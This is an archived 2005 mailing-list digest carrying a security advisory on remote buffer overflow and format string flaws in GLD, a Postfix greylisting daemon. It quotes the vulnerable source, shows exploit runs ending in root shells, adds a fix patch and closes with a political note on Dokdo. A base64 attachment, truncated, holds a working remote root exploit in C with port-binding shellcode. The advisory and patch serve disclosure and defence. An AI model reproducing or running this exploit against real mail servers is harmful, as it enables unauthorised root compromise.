[Please patch GLD on all platforms. Patched vendor packages are being released too -- Raju]
This is an RFC 1153 digest. (1 message) ---------------------------------------------------------------------- MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------=_1113266468-3900-0" Content-Transfer-Encoding: 7bit Message-Id: <[EMAIL PROTECTED]> From: "dong-hun you" <[EMAIL PROTECTED]> To: [EMAIL PROTECTED], [email protected], [email protected], [EMAIL PROTECTED] Subject: GLD (Greylisting daemon for Postfix) multiple vulnerabilities. Date: Tue, 12 Apr 2005 08:41:08 +0800 This is a multi-part message in MIME format... ------------=_1113266468-3900-0 Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D INetCop Security Advisory #2005-0x82-026 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Title: GLD (Greylisting daemon for Postfix) multiple vulnerabilities. 0x01. Description About: Gld is a standalone greylisting server for Postfix. Greylisting is a new weapon to use against spam. For more information on this technique, see http://www.greylisting.org. This implementation listens on a TCP port and uses MySQL for storing data. The server supports whitelists based on sender, sender domain and client I= P. It also supports light greylisting. URL: http://www.gasmi.net/gld.html Reference URL: http://www.gasmi.net/down/gld-readme It's using in FreeBSD port and gentoo, debian. Reference URL: http://wyae.de/docs/greylisting_on_debian.php Reference URL: http://www.freebsd.org/cgi/cvsweb.cgi/ports/mail/gld/ Reference URL: http://gentoo-portage.com/mail-filter/gld Reference URL: http://directory.fsf.org/email/spam/gld.html The program has plenty of remote vulnerabilities. These vulnerabilities can be used remote user to gain root privilege. #1) Multi-oveflow vulnerability This problem happens because of abuse of strcpy() and sprintf() functions `/gid-1.4/server.c': -- ... 195 int HandleChild(int s,config *cnf) 196 { 197 char buff[BLEN]; 198 char request[BLEN]; 199 char sender[BLEN]; 200 char recipient[BLEN]; 201 char ip[BLEN]; ... 301 if(strcmp(request,REQ)!=3D0 || recipient[0]=3D=3D0 || ip[0]=3D=3D0) 302 { 303 sprintf(buff,"Received invalid data req=3D(%s) sender=3D(%s= ) recipient=3D(%s) ip=3D(%s)",request,sender,recipient,ip); // here 304 if(cnf->syslog=3D=3D1) ErrorLog(cnf,buff); 305 if(cnf->debug=3D=3D1) printf("%d: %s\n",pid,buff); 306 return(-2); 307 } ... -- Remote overflow exploit can be happened by sprintf() and it allows attacke= r to gain root privilege. #2) remote format string - These vulnerabilities are very easy to be exploited. gld.conf is supporting syslog() function basically. Thereby, with problem in next code, it's possible to gain root privilege. `/gld-1.4/cnf.c': -- ... 117 void ErrorLog(config *conf,char *msg) 118 { 119 #ifdef HAVE_SYSLOG_H 120 openlog("gld",0,conf->facility); 121 syslog(LOG_ALERT,msg); // here 122 closelog(); 123 #endif 124 } ... -- It happens by illegal use of syslog() function. -- bash-2.04# cat *.c |grep ErrorLog |grep -v void if(conf.syslog=3D=3D1) ErrorLog(&conf,"gld started, up and running"); if(cid < 0 && conf.syslog=3D=3D1) ErrorLog(&conf,"Fork ret= urned error code, no child"); ErrorLog(cnf,buff); if(cnf->syslog=3D=3D1) ErrorLog(cnf,"Read Network error"); if(cnf->syslog=3D=3D1) ErrorLog(cnf,buff); if(cnf->syslog=3D=3D1) ErrorLog(cnf,"MySQL error"); bash-2.04# -- It can be exploited pretty easily. And there are alot more sprintf(), strcpy() function overflow vulnerabilit= ies which are not mentioned. 0x02. Vulnerable Packages Vendor site: http://www.gasmi.net/gld.html GLD all version (exploitable) -gld-1.4.tgz -gld.1.3.tgz 0x03. Exploit I made this exploit in RedHat Linux 7.x and 9.x by Proof of Concept code. There is no plan to develop other platform code. #1) remote buffer overflow exploit: bash-2.04$ ./0x82-meOw_linuxer_forever -t 3 -h x0x # # 0x82-meOw_linuxer_forever - Greylisting daemon for Postfix remote explo= it # szoahc(at)hotmail(dot)com # # # target host: x0x:2525 # type: Red Hat Linux release 9 (Shrike) gld 1.4 (buffer overflow exploit) # method: jmp *%esp exploit: 254 byte # send code size: 2200 byte # # Waiting rootshell, Trying x0x:36864 ... # connected to x0x:36864 ! # # # Kill two bird with one stone! # OK, It's Rootshell # Linux x0x 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux uid=3D0(root) gid=3D0(root) groups=3D0(root),1(bin),2(daemon),3(sys),4(adm= ),6(disk),10(wheel) bash: no job control in this shell stty: standard input: Invalid argument [EMAIL PROTECTED] /]# w #2) remote format string exploit: bash-2.04$ ./0x82-meOw_linuxer_forever -t 0 -h x0x # # 0x82-meOw_linuxer_forever - Greylisting daemon for Postfix remote explo= it # szoahc(at)hotmail(dot)com # # # target host: x0x:2525 # type: Red Hat Linux release 9 (Shrike) gld 1.4 (format string exploit) # Make format string, .dtors: 0x804d14c # # shellcode addr: 0x805506e, size: 320 byte # send code size: 394 byte # # Waiting rootshell, Trying x0x:36864 ... # connected to x0x:36864 ! # # # Kill two bird with one stone! # OK, It's Rootshell # Linux x0x 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux uid=3D0(root) gid=3D0(root) groups=3D0(root),1(bin),2(daemon),3(sys),4(adm= ),6(disk),10(wheel) bash: no job control in this shell stty: standard input: Invalid argument [EMAIL PROTECTED] /]# 0x04. Patch GLD 1.4 patch: =3D=3D=3D gld-1.4.patch =3D=3D=3D --- cnf.c 2004-08-18 23:44:22.000000000 +0900 +++ patch/cnf.c 2005-03-06 17:36:04.000000000 +0900 @@ -118,7 +118,7 @@ { #ifdef HAVE_SYSLOG_H openlog("gld",0,conf->facility); -syslog(LOG_ALERT,msg); +syslog(LOG_ALERT,"%s",msg); closelog(); #endif } --- greylist.c 2004-08-18 04:12:38.000000000 +0900 +++ patch/greylist.c 2005-03-06 17:39:59.000000000 +0900 @@ -20,9 +20,9 @@ pid=3Dgetpid(); =20 ts=3Dtime(0); -strcpy(oip,ip); -strcpy(osender,sender); -strcpy(orecipient,recipient); +strncpy(oip,ip,sizeof(oip)-1); +strncpy(osender,sender,sizeof(osender)-1); +strncpy(orecipient,recipient,sizeof(orecipient)-1); =20 if(conf->debug=3D=3D1) printf("%d: Starting the greylist algo\n",pid); =20 @@ -52,17 +52,17 @@ if(conf->debug=3D=3D1) printf("%d: lightgrey on domain is on, let'= s keep the domain only on recipient and sender\n",pid); =20 domain=3D(char *)strstr(osender,"@"); - if(domain!=3DNULL) strcpy(sender,domain); + if(domain!=3DNULL) strncpy(sender,domain,BLEN-1); =20 domain=3D(char *)strstr(orecipient,"@"); - if(domain!=3DNULL) strcpy(recipient,domain); + if(domain!=3DNULL) strncpy(recipient,domain,BLEN-1); } =20 // // Do we have this entry in our database ? // =20 -sprintf(query,"select first from greylist where ip=3D'%s' and sender=3D'%s= ' and recipient=3D'%s'",ip,sender,recipient); +snprintf(query,sizeof(query)-1,"select first from greylist where ip=3D'%s'= and sender=3D'%s' and recipient=3D'%s'",ip,sender,recipient); n=3DSQLQuery(query); =20 if(conf->debug=3D=3D1) printf("%d: Query=3D(%s) result=3D%ld\n",pid,query,= n); @@ -78,7 +78,7 @@ // if(conf->lightd=3D=3D1 && n=3D=3D0) { - sprintf(query,"select first from greylist where ip=3D'%s' and send= er=3D'%s' and recipient=3D'%s'",ip,osender,orecipient); + snprintf(query,sizeof(query)-1,"select first from greylist where i= p=3D'%s' and sender=3D'%s' and recipient=3D'%s'",ip,osender,orecipient); n=3DSQLQuery(query); if(n<0) return(-1); if(n=3D=3D0) fneither=3D1; else fnotdomain=3D1; @@ -101,7 +101,7 @@ domain=3D(char *)strstr(osender,"@"); if(domain=3D=3DNULL) domain=3Dosender; =20 - strcpy(netw,oip); + strncpy(netw,oip,sizeof(netw)-1); l=3Dstrlen(netw); for(i=3Dl-1;i>=3D0;i--) if(netw[i]=3D=3D'.') @@ -111,7 +111,7 @@ } =20 =20 - sprintf(query,"select count(mail) from whitelist where mail in ('%= s','%s','%s','%s')",osender,domain,oip,netw); + snprintf(query,sizeof(query)-1,"select count(mail) from whitelist = where mail in ('%s','%s','%s','%s')",osender,domain,oip,netw); n=3DSQLQuery(query); if(conf->debug=3D=3D1) printf("%d: Query=3D(%s) result=3D%ld\n",pid,query= ,n); if(n>0) @@ -130,7 +130,7 @@ x=3Dsscanf(oip,"%d.%d.%d.%d",&a,&b,&c,&d); if(x=3D=3D4) { - sprintf(query,"%d.%d.%d.%d.%s",d,c,b,a,conf->dnswl); + snprintf(query,sizeof(query)-1,"%d.%d.%d.%d.%s",d,c,b,a,conf->dnswl); n=3DDnsIp(query,NULL); if(conf->debug=3D=3D1) printf("%d: DNSQuery=3D(%s) result=3D%ld\n",pid,= query,n); if(n=3D=3D0) @@ -146,9 +146,9 @@ // was not whitelisted and thus we have to insert it // if(conf->lightd=3D=3D1 && fneither=3D=3D1) - sprintf(query,"insert into greylist values('%s','%s','%s',= %d,%d,1)",ip,osender,orecipient,ts,ts); + snprintf(query,sizeof(query)-1,"insert into greylist value= s('%s','%s','%s',%d,%d,1)",ip,osender,orecipient,ts,ts); =20 - else sprintf(query,"insert into greylist values('%s','%s','%s',%d,%d,= 1)",ip,sender,recipient,ts,ts); + else snprintf(query,sizeof(query)-1,"insert into greylist values('%s'= ,'%s','%s',%d,%d,1)",ip,sender,recipient,ts,ts); =20 SQLQuery(query); if(conf->debug=3D=3D1) printf("%d: Query=3D(%s)\n",pid,query); @@ -165,9 +165,9 @@ if(conf->update=3D=3D1) { if(conf->lightd=3D=3D1 && fnotdomain=3D=3D1) - sprintf(query,"update greylist set last=3D%d,n=3Dn+1 where ip=3D= '%s' and sender=3D'%s' and recipient=3D'%s'",ts,ip,osender,orecipient); + snprintf(query,sizeof(query)-1,"update greylist set last=3D%d,n= =3Dn+1 where ip=3D'%s' and sender=3D'%s' and recipient=3D'%s'",ts,ip,osende= r,orecipient); =20 - else sprintf(query,"update greylist set last=3D%d,n=3Dn+1 where i= p=3D'%s' and sender=3D'%s' and recipient=3D'%s'",ts,ip,sender,recipient); + else snprintf(query,sizeof(query)-1,"update greylist set last=3D%= d,n=3Dn+1 where ip=3D'%s' and sender=3D'%s' and recipient=3D'%s'",ts,ip,sen= der,recipient); =20 SQLQuery(query); if(conf->debug=3D=3D1) printf("%d: Query=3D(%s)\n",pid,query); @@ -180,7 +180,7 @@ =20 if(ts-n>conf->mini && conf->lightd=3D=3D1 && fnotdomain=3D=3D1) { - sprintf(query,"insert into greylist values('%s','%s','%s',%d,%d,1)",ip,s= ender,recipient,ts,ts); + snprintf(query,sizeof(query)-1,"insert into greylist values('%s','%s','%= s',%d,%d,1)",ip,sender,recipient,ts,ts); if(conf->debug=3D=3D1) printf("Add the domain triplet for next time.\n"); SQLQuery(query); } --- server.c 2004-08-19 07:57:03.000000000 +0900 +++ patch/server.c 2005-03-06 17:41:52.000000000 +0900 @@ -215,7 +215,7 @@ if(cnf->debug=3D=3D1) printf("%d: Rejected New incoming connexion from %s= (%s)\n",pid,buff,ip); if(cnf->syslog=3D=3D1) { - sprintf(buff,"Rejected New incoming connexion from %s (%s)\n",buff,ip); + snprintf(buff,sizeof(buff)-1,"Rejected New incoming connexion from %s (%= s)\n",buff,ip); ErrorLog(cnf,buff); } =20 @@ -262,16 +262,16 @@ if(strcmp(buff,"")=3D=3D0) break; =20 if(strncmp(buff,"request=3D",8)=3D=3D0) - strcpy(request,buff+8); + strncpy(request,buff+8,sizeof(request)-1); =20 if(strncmp(buff,"sender=3D",7)=3D=3D0) - strcpy(sender,buff+7); + strncpy(sender,buff+7,sizeof(sender)-1); =20 if(strncmp(buff,"recipient=3D",10)=3D=3D0) - strcpy(recipient,buff+10); + strncpy(recipient,buff+10,sizeof(recipient)-1); =20 if(strncmp(buff,"client_address=3D",15)=3D=3D0) - strcpy(ip,buff+15); + strncpy(ip,buff+15,sizeof(ip)-1); =20 } =20 @@ -300,7 +300,7 @@ =20 if(strcmp(request,REQ)!=3D0 || recipient[0]=3D=3D0 || ip[0]=3D=3D0) { - sprintf(buff,"Received invalid data req=3D(%s) sender=3D(%s) recipient=3D= (%s) ip=3D(%s)",request,sender,recipient,ip); + snprintf(buff,sizeof(buff)-1,"Received invalid data req=3D(%s) sender=3D(= %s) recipient=3D(%s) ip=3D(%s)",request,sender,recipient,ip); if(cnf->syslog=3D=3D1) ErrorLog(cnf,buff); if(cnf->debug=3D=3D1) printf("%d: %s\n",pid,buff); return(-2); @@ -322,7 +322,7 @@ =20 if(n=3D=3D0) { - sprintf(buff,"action=3Ddefer_if_permit %s\n\n",cnf->message); + snprintf(buff,sizeof(buff)-1,"action=3Ddefer_if_permit %s\n\n",cnf->messa= ge); WriteSocket(s,buff,strlen(buff),TOUT); if(cnf->syslog=3D=3D1) Log(cnf,recipient,sender,ip,MSGGREYLIST); if(cnf->debug=3D=3D1) printf("%d: Decision is to greylist\n",pid); =3D=3D=3D eof =3D=3D=3D P.S: Sorry, for my poor english. -- These days, the main issue that strikes Korea is small rocky island "Dokdo= ". You can get more detailed information from following websites. "Japanese goverment has to follow and learn from German goverment" I can confidently say "Dokdo is belong to Korea". (1) reference=20 1) Their claim that the East Sea has some historical precedent worked, as some major book and map publishers, educational web sites and other reference materials now include the East Sea name along with the Sea of Ja= pan. - worldatlas.com- http://www.worldatlas.com/webimage/countrys/asia/eastsea.htm 2) On historical perspective and in international law, why there is no valid dispute over the ownership of Dokdo. http://www.prkorea.com/english/textbook/ge03.html 3) Truth in scholarship http://www.prkorea.com/english/textbook/maintruth.html -- By "dong-houn yoU" (Xpl017Elz), in INetCop Security Co., LTD. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.net My World: http://x82.inetcop.org GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y -- --=20 _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze ------------=_1113266468-3900-0 Content-Type: application/octet-stream; name="0x82-meOw_linuxer_forever.c" Content-Disposition: attachment; filename="0x82-meOw_linuxer_forever.c" Content-Transfer-Encoding: base64 LyoKKioKKioKKiogMHg4Mi1tZU93LWxpbnV4ZXJfZm9yZXZlciAtIGdsZCAx LjQgcmVtb3RlIG92ZXJmbG93IGZvcm1hdCBzdHJpbmcgZXhwbG9pdC4KKiog KGMpIDIwMDUgVGVhbSBJTmV0Q29wIFNlY3VyaXR5LgoqKgoqKiBOaWNrbmFt ZSBvZiB0aGlzIGNvZGUgaXMsCioqIGBLaWxsIHR3byBiaXJkIHdpdGggb25l IHN0b25lLicgb3IsIGBPbmUgc2hvdCwgdHdvIGtpbGwhLicKKiogaGVoZWhl IDstRAoqKgoqKiBBZHZpc29yeSBVUkw6IGh0dHA6Ly94ODIuaW5ldGNvcC5v cmcvaDBtZS9hZHYxc29yMWVzL0lOQ1NBLjIwMDUtMHg4Mi0wMjYtR0xELnR4 dAoqKgoqKiBJdCdzIGFzIHdlbGwgYXMgUmVkSGF0IExpbnV4IGFuZCB0byBn ZW50b28sIGRlYmlhbiBMaW51eCwgKkJTRC4KKiogWW91IGNhbiBkZXZlbG9w IGZvciB5b3VyIGZsYXRmb3JtLgoqKgoqKiAtLQoqKiBleHBsb2l0IGJ5ICJ5 b3UgZG9uZy1odW4iKFhwbDAxN0VseiksIDxzem9haGNAaG90bWFpbC5jb20+ LgoqKiBNeSBXb3JsZDogaHR0cDovL3g4Mi5pbmV0Y29wLm9yZwoqKgoqKgoq KiBQLlM6IE15IGRvbWFpbiB4ODIuaTIxYy5uZXQgZW5jb3VudGVyZWQgY29t cHVsc2lvbiB3aXRoZHJhd2FsIGZyb20gdGhlIGNvdW50cnkuCioqICAgICAg VGhleSBhcmUga2lsbGluZyBtYW55IGhhY2tlcnMgb2YgdGhlIEtvcmVhLiBo ZWhlaGUgOy1wCioqCiovCi8qCioqCioqIFRoZXNlIGRheXMsIHRoZSBtYWlu IGlzc3VlIHRoYXQgc3RyaWtlcyBLb3JlYSBpcyBzbWFsbCByb2NreSBpc2xh bmQgIkRva2RvIi4KKiogWW91IGNhbiBnZXQgbW9yZSBkZXRhaWxlZCBpbmZv cm1hdGlvbiBmcm9tIGZvbGxvd2luZyB3ZWJzaXRlcy4KKioKKiogIkphcGFu ZXNlIGdvdmVybWVudCBoYXMgdG8gZm9sbG93IGFuZCBsZWFybiBmcm9tIEdl cm1hbiBnb3Zlcm1lbnQiCioqCioqIEkgY2FuIGNvbmZpZGVudGx5IHNheSAi RG9rZG8gaXMgYmVsb25nIHRvIEtvcmVhIi4KKioKKiogKDEpIHJlZmVyZW5j ZSAKKioKKiogMSkgIFRoZWlyIGNsYWltIHRoYXQgdGhlIEVhc3QgU2VhIGhh cyBzb21lIGhpc3RvcmljYWwgcHJlY2VkZW50IHdvcmtlZCwKKiogYXMgc29t ZSBtYWpvciBib29rIGFuZCBtYXAgcHVibGlzaGVycywgZWR1Y2F0aW9uYWwg d2ViIHNpdGVzIGFuZCBvdGhlcgoqKiByZWZlcmVuY2UgbWF0ZXJpYWxzIG5v dyBpbmNsdWRlIHRoZSBFYXN0IFNlYSBuYW1lIGFsb25nIHdpdGggdGhlIFNl YSBvZiBKYXBhbi4KKiogLSB3b3JsZGF0bGFzLmNvbS0KKioKKiogaHR0cDov L3d3dy53b3JsZGF0bGFzLmNvbS93ZWJpbWFnZS9jb3VudHJ5cy9hc2lhL2Vh c3RzZWEuaHRtCioqCioqIDIpIE9uIGhpc3RvcmljYWwgcGVyc3BlY3RpdmUg YW5kIGluIGludGVybmF0aW9uYWwgbGF3LCB3aHkgdGhlcmUKKiogaXMgbm8g dmFsaWQgZGlzcHV0ZSBvdmVyIHRoZSBvd25lcnNoaXAgb2YgRG9rZG8uCioq CioqIGh0dHA6Ly93d3cucHJrb3JlYS5jb20vZW5nbGlzaC90ZXh0Ym9vay9n ZTAzLmh0bWwKKioKKiogMylUcnV0aCBpbiBzY2hvbGFyc2hpcAoqKgoqKiBo dHRwOi8vd3d3LnBya29yZWEuY29tL2VuZ2xpc2gvdGV4dGJvb2svbWFpbnRy dXRoLmh0bWwKKioKKioKKi8KCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVk ZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxuZXRkYi5oPgojaW5jbHVkZSA8bmV0 aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgoKI2RlZmluZSBE RUZfSE9TVCAibG9jYWxob3N0IgojZGVmaW5lIFBPUlQgMjUyNQoKc3RydWN0 IG9zX3QgewoJaW50IG51bWJlcjsKCWNoYXIgKm9zX3R5cGU7Cgl1bnNpZ25l ZCBsb25nIGR0b3JzX2FkZHI7Cgl1bnNpZ25lZCBsb25nIHNoZWxsOwoJaW50 IHNmbGFnOwp9OwoKc3RydWN0IG9zX3QgcGxhdGZvcm1bXT17Cgl7CgkJMCwi UmVkIEhhdCBMaW51eCByZWxlYXNlIDcuMCAoR3Vpbm5lc3MpIGdsZCAxLjQg KGZvcm1hdCBzdHJpbmcgZXhwbG9pdCkiLAoJCTB4MDgwNGRiOTgsMHhiZmZm YTNiYywxNQoJfSwKCXsKCQkxLCJSZWQgSGF0IExpbnV4IHJlbGVhc2UgOSAo U2hyaWtlKSBnbGQgMS40IChmb3JtYXQgc3RyaW5nIGV4cGxvaXQpIiwKCQkw eDA4MDRkMTRjLDB4MDgwNTUwNmUsMTUKCX0sCgl7CgkJMiwiUmVkIEhhdCBM aW51eCByZWxlYXNlIDcuMCAoR3Vpbm5lc3MpIGdsZCAxLjQgKGJ1ZmZlciBv dmVyZmxvdyBleHBsb2l0KSIsCgkJMCwweGJmZmZhNWQ4LDMwMAoJfSwKCXsK CQkvKiBqbXAgKiVlc3AgbWV0aG9kICovCgkJMywiUmVkIEhhdCBMaW51eCBy ZWxlYXNlIDkgKFNocmlrZSkgZ2xkIDEuNCAoYnVmZmVyIG92ZXJmbG93IGV4 cGxvaXQpIiwKCQkwLDB4NDIxMmM1ZWIsMjU0Cgl9LAoJewoJCTQsTlVMTCww LDAsMAoJfQp9OwoKaW50IF9fZGVidWdfY2hrPTA7CmNoYXIgdF9hdGtbMHhm ZmYqM107Ci8vIFRoaXMgaXMgbG92YWJsZSBzaGVsbGNvZGUsIHRoYXQncyBz d2VldCBpbiBsaW51eCBwbGF0Zm9ybS4gCmNoYXIgc2hlbGxjb2RlW109IC8q IHBvcnRzaGVsbCBzaGVsbGNvZGUsIDEyOCBieXRlcyAodGNwLzM2ODY0KSAq LwoJIlx4ZWJceDcyXHg1ZVx4MjlceGMwXHg4OVx4NDZceDEwXHg0MFx4ODlc eGMzXHg4OVx4NDZceDBjXHg0MFx4ODkiCgkiXHg0Nlx4MDhceDhkXHg0ZVx4 MDhceGIwXHg2Nlx4Y2RceDgwXHg0M1x4YzZceDQ2XHgxMFx4MTBceDY2XHg4 OSIKCSJceDVlXHgxNFx4ODhceDQ2XHgwOFx4MjlceGMwXHg4OVx4YzJceDg5 XHg0Nlx4MThceGIwXHg5MFx4NjZceDg5IgoJIlx4NDZceDE2XHg4ZFx4NGVc eDE0XHg4OVx4NGVceDBjXHg4ZFx4NGVceDA4XHhiMFx4NjZceGNkXHg4MFx4 ODkiCgkiXHg1ZVx4MGNceDQzXHg0M1x4YjBceDY2XHhjZFx4ODBceDg5XHg1 Nlx4MGNceDg5XHg1Nlx4MTBceGIwXHg2NiIKCSJceDQzXHhjZFx4ODBceDg2 XHhjM1x4YjBceDNmXHgyOVx4YzlceGNkXHg4MFx4YjBceDNmXHg0MVx4Y2Rc eDgwIgoJIlx4YjBceDNmXHg0MVx4Y2RceDgwXHg4OFx4NTZceDA3XHg4OVx4 NzZceDBjXHg4N1x4ZjNceDhkXHg0Ylx4MGMiCgkiXHhiMFx4MGJceGNkXHg4 MFx4ZThceDg5XHhmZlx4ZmZceGZmL2Jpbi9zaCI7Cgp2b2lkIGJhbnJsKCk7 CmludCBtYWtlX2JvZl9jb2RlKHVuc2lnbmVkIGxvbmcgc2hlbGwsaW50IHNp emUsaW50IHR5cGUpOwppbnQgbWFrZV9mbXRfY29kZSh1bnNpZ25lZCBsb25n IHJldGxvYyx1bnNpZ25lZCBsb25nIHNoZWxsLGludCBzZmxhZyk7CmludCBz ZXRzb2NrKGNoYXIgKmhvc3QsaW50IHBvcnQpOwp2b2lkIHVzYWdlKGNoYXIg KmFyZ3MpOwp2b2lkIHJlX2Nvbm50KGludCBzb2NrKTsKdm9pZCBjb25uX3No ZWxsKGludCBzb2NrKTsKCmludCBtYWluKGludCBhcmdjLGNoYXIgKmFyZ3Zb XSkKewoJaW50IHNvY2ssdHlwZT0wOwoJaW50IHBvcnQ9KFBPUlQpOwoJY2hh ciBob3N0WzI1Nl09REVGX0hPU1Q7CgoJaW50IHNmbGFnPXBsYXRmb3JtW3R5 cGVdLnNmbGFnOwoJdW5zaWduZWQgbG9uZyByZXRsb2M9cGxhdGZvcm1bdHlw ZV0uZHRvcnNfYWRkcjsKCXVuc2lnbmVkIGxvbmcgc2hlbGw9cGxhdGZvcm1b dHlwZV0uc2hlbGw7CgoJKHZvaWQpYmFucmwoKTsKCXdoaWxlKChzb2NrPWdl dG9wdChhcmdjLGFyZ3YsIkRkRjpmOlI6cjpTOnM6SDpoOlQ6dDpJaSIpKSE9 RU9GKSB7CgkJZXh0ZXJuIGNoYXIgKm9wdGFyZzsKCQlzd2l0Y2goc29jaykg ewoJCQljYXNlICdEJzoKCQkJY2FzZSAnZCc6CgkJCQlfX2RlYnVnX2Noaz0x OwoJCQkJYnJlYWs7CgkJCWNhc2UgJ1InOgoJCQljYXNlICdyJzoKCQkJCXJl dGxvYz1zdHJ0b3VsKG9wdGFyZyxOVUxMLDApOwoJCQkJYnJlYWs7CgkJCWNh c2UgJ1MnOgoJCQljYXNlICdzJzoKCQkJCXNoZWxsPXN0cnRvdWwob3B0YXJn LE5VTEwsMCk7CgkJCQlicmVhazsKCQkJY2FzZSAnRic6CgkJCWNhc2UgJ2Yn OgoJCQkJc2ZsYWc9YXRvaShvcHRhcmcpOwoJCQkJYnJlYWs7CgkJCWNhc2Ug J0gnOgoJCQljYXNlICdoJzoKCQkJCW1lbXNldCgoY2hhciAqKWhvc3QsMCxz aXplb2YoaG9zdCkpOwoJCQkJc3RybmNweShob3N0LG9wdGFyZyxzaXplb2Yo aG9zdCktMSk7CgkJCQlicmVhazsKCQkJY2FzZSAnVCc6CgkJCWNhc2UgJ3Qn OgoJCQkJdHlwZT1hdG9pKG9wdGFyZyk7CgkJCQlpZih0eXBlPj00KXsKCQkJ CQkodm9pZCl1c2FnZShhcmd2WzBdKTsKCQkJCX0gZWxzZSB7CgkJCQkJcmV0 bG9jPXBsYXRmb3JtW3R5cGVdLmR0b3JzX2FkZHI7CgkJCQkJc2hlbGw9cGxh dGZvcm1bdHlwZV0uc2hlbGw7CgkJCQkJc2ZsYWc9cGxhdGZvcm1bdHlwZV0u c2ZsYWc7CgkJCQl9CgkJCQlicmVhazsKCQkJY2FzZSAnSSc6CgkJCWNhc2Ug J2knOgoJCQkJKHZvaWQpdXNhZ2UoYXJndlswXSk7CgkJCQlicmVhazsKCQkJ Y2FzZSAnPyc6CgkJCQlmcHJpbnRmKHN0ZGVyciwiVHJ5IGAlcyAtaScgZm9y IG1vcmUgaW5mb3JtYXRpb24uXG5cbiIsYXJndlswXSk7CgkJCQlleGl0KC0x KTsKCQkJCWJyZWFrOwoJCX0KCX0KCglmcHJpbnRmKHN0ZG91dCwiICNcbiAj IHRhcmdldCBob3N0OiAlczolZFxuIixob3N0LHBvcnQpOwoJZnByaW50Zihz dGRvdXQsIiAjIHR5cGU6ICVzXG4iLHBsYXRmb3JtW3R5cGVdLm9zX3R5cGUp OwoJc3dpdGNoKHR5cGUpCgl7CgkJY2FzZSAwOgoJCWNhc2UgMToKCQkJKGlu dCltYWtlX2ZtdF9jb2RlKHJldGxvYyxzaGVsbCxzZmxhZyk7CgkJCWJyZWFr OwoJCWNhc2UgMjoKCQkJKGludCltYWtlX2JvZl9jb2RlKHNoZWxsLHNmbGFn LDApOwoJCQlicmVhazsKCQljYXNlIDM6CgkJCShpbnQpbWFrZV9ib2ZfY29k ZShzaGVsbCxzZmxhZywxKTsKCX0KCglmcHJpbnRmKHN0ZG91dCwiICMgc2Vu ZCBjb2RlIHNpemU6ICVkIGJ5dGVcbiIsc3RybGVuKHRfYXRrKSk7Cglzb2Nr PXNldHNvY2soaG9zdCxwb3J0KTsKCSh2b2lkKXJlX2Nvbm50KHNvY2spOwoK CWlmKF9fZGVidWdfY2hrKSBzbGVlcCgxMCk7CgoJc2VuZChzb2NrLHRfYXRr LHN0cmxlbih0X2F0ayksMCk7CgljbG9zZShzb2NrKTsKCglmcHJpbnRmKHN0 ZG91dCwiICNcbiAjIFdhaXRpbmcgcm9vdHNoZWxsLCBUcnlpbmcgJXM6MzY4 NjQgLi4uXG4iLGhvc3QpOwoJc2xlZXAoMSk7Cglzb2NrPXNldHNvY2soaG9z dCwzNjg2NCk7Cgkodm9pZClyZV9jb25udChzb2NrKTsKCglmcHJpbnRmKHN0 ZG91dCwiICMgY29ubmVjdGVkIHRvICVzOjM2ODY0ICFcbiAjXG5cbiIsaG9z dCk7Cgkodm9pZCljb25uX3NoZWxsKHNvY2spOwp9CgppbnQgbWFrZV9ib2Zf Y29kZSh1bnNpZ25lZCBsb25nIHNoZWxsLGludCBzaXplLGludCB0eXBlKQp7 CglpbnQgYSxiOwoJY2hhciBub3Bfc2hlbGxbODE5Ml07CgljaGFyIGNvZGVf YnVmWzQwOTZdOwoKCW1lbXNldCgoY2hhciAqKW5vcF9zaGVsbCwwLHNpemVv Zihub3Bfc2hlbGwpKTsKCW1lbXNldCgoY2hhciAqKWNvZGVfYnVmLDAsc2l6 ZW9mKGNvZGVfYnVmKSk7CgltZW1zZXQoKGNoYXIgKil0X2F0aywwLHNpemVv Zih0X2F0aykpOwoKCXN3aXRjaCh0eXBlKQoJewoJCWNhc2UgMDoKCQkJZnBy aW50ZihzdGRvdXQsIiAjIG1ldGhvZDogbm9ybWFsIG92ZXJmbG93IGV4cGxv aXQ6ICVkIGJ5dGVcbiIsc2l6ZSk7CgkJCS8qIHNlbmRlciBidWZmZXIgPSBu b3AsIHNoZWxsY29kZSAqLwoJCQlmb3IoYT0wO2E8MTAwMC1zdHJsZW4oc2hl bGxjb2RlKTthKyspCgkJCQlub3Bfc2hlbGxbYV09J04nOwoJCQlmb3IoYj0w O2I8c3RybGVuKHNoZWxsY29kZSk7YisrKQoJCQkJbm9wX3NoZWxsW2ErK109 c2hlbGxjb2RlW2JdOwoJCQkvKiBjbGllbnRfYWRkcmVzcyA9IHJldGFkZHIg Ki8KCQkJZm9yKGI9MDtiPHNpemUqNDtiKz00KQoJCQkJKihsb25nICopJmNv ZGVfYnVmW2JdPXNoZWxsOwoKCQkJc25wcmludGYodF9hdGssc2l6ZW9mKHRf YXRrKS0xLAoJCQkJInNlbmRlcj0lc1xyXG4iCgkJCQkiY2xpZW50X2FkZHJl c3M9JXNcclxuXHJcbiIsbm9wX3NoZWxsLGNvZGVfYnVmKTsKCQkJYnJlYWs7 CgoJCWNhc2UgMToKCQkJZnByaW50ZihzdGRvdXQsIiAjIG1ldGhvZDogam1w IColJWVzcCBleHBsb2l0OiAlZCBieXRlXG4iLHNpemUpOwoJCQkvKiBzZW5k 